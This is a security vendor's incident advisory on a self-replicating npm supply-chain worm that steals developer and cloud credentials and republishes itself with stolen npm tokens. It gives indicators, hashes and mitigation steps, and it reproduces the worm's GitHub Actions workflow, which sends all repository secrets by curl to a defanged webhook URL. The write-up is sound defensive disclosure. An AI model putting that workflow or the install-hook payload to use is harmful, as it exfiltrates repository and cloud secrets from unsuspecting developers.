⚠️ This is an ongoing incident: This supply chain attack is still unfolding. Our immediate priority is supporting customers with clear communication and actionable guidance. As it stands, no Endor Labs customers have been affected. In the interest of extra caution, our engineering team has suspended any use of npm install until further notice for all our internal systems and developers laptops. We will continue to update this post as new details and mitigation steps become available.

TL;DR

Starting Sep 15, several packages with malicious code have been published on npm, including packages from Crowdstrike and the popular npm package @ctrl/tinycolor, which has millions of downloads. So far, we have identified more than 550 affected versions from 122 distinct packages, with possibly more yet to be discovered.

What makes this supply chain attack different from previous ones is that the code spreads like a virus to other packages–which get published on npm using the npm credentials of compromised developers.

The spreading of the virus is still on-going, and organizations should take immediate actions to prevent being infected.

At the time of writing, not all of the malicious packages have been taken down, i.e. there is imminent risk of being infected by the malware.

Updates:

• The SHA-256 digest of bundle.js files included in infected packages changes (see below for different digests found until now). However, the Webhook URL used for exfiltration of repository secrets–which has been disabled in the meantime–does not change between different versions.
• The earliest package we found that contained the malicious payload is airpilot@0.8.8, published on 2025-09-14T18:35:07.600Z, which has been yanked from the registry by now. 
• Added more information to make explicit that information is not only exfiltrated through a Webhook, but also by uploading files to a dedicated GitHub repository (similar to the recent attack on the Nx build system).
• Updated list with a total of 582 compromised package versions–47 still being available on npm–from 194 distinct packages.

Technical Details

The malicious code of infected packages is contained in the Webpack-minified script bundle.js, as large as 3.7 MB and automatically executed using an installation hook. At high-level, the script comprises two main functionalities:

1. It searches for and exfiltrates secrets both on the infected system and GitHub repositories associated with compromised developers.
2. It replicates itself in other npm packages maintained by compromised developers.

The search for secrets on the developer system is done by dumping environment variables, which is pretty common for malicious packages. More interestingly, it also downloads and runs Trufflehog, a well-known secret scanner, to search for credentials. The collected data is uploaded to a new repository Shai-Hulud in the user account of the affected developer.  This new repository contains a double base64-encoded file data.json with the following information:

• The platform and architecture of the infected system.
• All environment variables from process.env.
• Credentials for GitHub, AWS, GCP and npm (if any).
• Information about the presence of Trufflehog on the affected system plus Trufflehog scan results.

In order to search for secrets on GitHub, it uses a GitHub personal access token (PAT) to enumerate repositories that meet certain criteria, and create a workflow file .github/workflows/shai-hulud-workflow.yml in each one of them in a new branch called shai-hulud. This workflow file uses the built-in function toJSON to capture all repository secrets in the environment variable CONTENTS, which is extracted to a Webhook. The complete workflow file looks as follows (with the Webhook URL being escaped).

on:
 push:
jobs:
 process:
   runs-on: ubuntu-latest
   steps:
   - name: Data Processing
     run: curl -d "$CONTENTS" https[://]webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
     env:
       CONTENTS: ${{ toJSON(secrets) }}

The replication logic of the virus takes advantage of valid npm tokens present on the infected system in order to download other packages of the maintainer, add the malicious payload and upload a new compromised version to npm.

This approach helps spread malware across the whole npm ecosystem–a scenario that was described as early as 2016.

Mitigation

The blast radius of this supply chain attack is yet unknown, and it will take some time to identify and remove all the infected versions from the registry.

Packages and package versions identified so far are mentioned in the section below, and will be updated on a regular basis.

To protect your developers and CI/CD systems from downloading and executing the malware, you can:

• Make sure that your npm applications use lockfiles pinned to known-good versions. 
• Clean caches on developer systems and in internal registries.
• Use cooldown options where available, which prevent upgrading to (or downloading) versions that have been published in the last few days (see the corresponding announcement for Dependabot).
• Aggressive/Minimize Security Risk: Stop all usage of npm in CI/CD pipelines and notify developers about the risks. 

To understand whether you have been compromised, you can:

• Search the local filesystem for package-lock.json files that reference any of the infected package versions (see below for a full list).
• Search logs for any of the following IoCs:
  
  • https[://]webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
  • SHA-256 digests of bundle.js found in different infected packages: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
    81d2a004a1bca6ef87a1caf7d0e0b355ad1764238e40ff6d1b1cb77ad4f595c3
    dc67467a39b70d1cd4c1f7f7a459b35058163592f4a9e8fb4dffcbba98ef210c

If you publish npm packages on public or private registries, you can detect / prevent the spreading of the virus:

• Search logs and registries to understand whether new package versions have been published after Sep 15, 00:00 UTC.
  
• If yes, check whether the package deviates suspiciously from previous versions, e.g., in terms of build attestations, the presence of matching version tags in the corresponding Git repository, etc.
  
• The tarballs of published packages can be checked as follows for malicious code:
  
  • Does package.json contain an install hook “postinstall": "node bundle.js”?
  • Does the file bundle.js exist in the root directory of the tarball, with the SHA-256 indicated above?
    
• As an aggressive approach to minimize security risk, restrict the publication of new packages, e.g., by temporarily revoking publishing permissions from npm teams or npm accounts.

List of compromised packages

The following table contains a list of more than 550 known-infected packages and versions: